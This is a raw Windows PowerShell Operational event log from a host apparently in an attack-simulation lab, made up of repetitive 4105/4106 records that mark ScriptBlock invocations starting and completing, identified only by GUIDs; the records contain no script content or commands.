Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034323
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034317
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034295
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034293
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034292
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034275
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
